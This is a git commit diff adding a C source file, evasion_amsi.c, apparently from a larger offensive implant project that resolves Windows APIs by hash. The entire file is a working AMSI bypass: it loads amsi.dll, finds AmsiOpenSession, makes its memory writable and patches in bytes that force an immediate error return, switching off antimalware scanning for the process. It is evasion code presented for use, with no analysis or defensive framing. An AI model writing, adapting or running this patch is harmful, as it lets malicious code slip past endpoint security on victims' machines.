initial commit

2026-08-27 11:03:10 -06:00
commit d164820ea9
282 changed files with 90944 additions and 0 deletions
@@ -0,0 +1,37 @@
+/**
+ * evasion_amsi.c — AMSI bypass
+ *
+ * Patches AmsiOpenSession in amsi.dll to return E_INVALIDARG immediately,
+ * preventing AMSI from scanning any buffers in the current process.
+ */
+
+#include <windows.h>
+#include <stdint.h>
+
+#include "api_resolve.h"
+
+#ifdef EVASION_AMSI_BYPASS
+
+void evasion_amsi_init(void) {
+    /* Load amsi.dll — may not be loaded yet in the process */
+    HMODULE hAmsi = g_api.pLoadLibraryA("amsi.dll");
+    if (!hAmsi) return;
+
+    /* Resolve AmsiOpenSession by hash (amsi.dll is now in PEB) */
+    FARPROC pFunc = (FARPROC)api_resolve_func(HASH_AMSI, HASH_AmsiOpenSession);
+    if (!pFunc) return;
+
+    /* Patch: make the function return E_INVALIDARG (0x80070057)
+     * x64 patch:  mov eax, 0x80070057; ret
+     *   B8 57 00 07 80 C3
+     */
+    uint8_t patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
+
+    DWORD old_protect;
+    if (g_api.pVirtualProtect((LPVOID)pFunc, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect)) {
+        memcpy((LPVOID)pFunc, patch, sizeof(patch));
+        g_api.pVirtualProtect((LPVOID)pFunc, sizeof(patch), old_protect, &old_protect);
+    }
+}
+
+#endif /* EVASION_AMSI_BYPASS */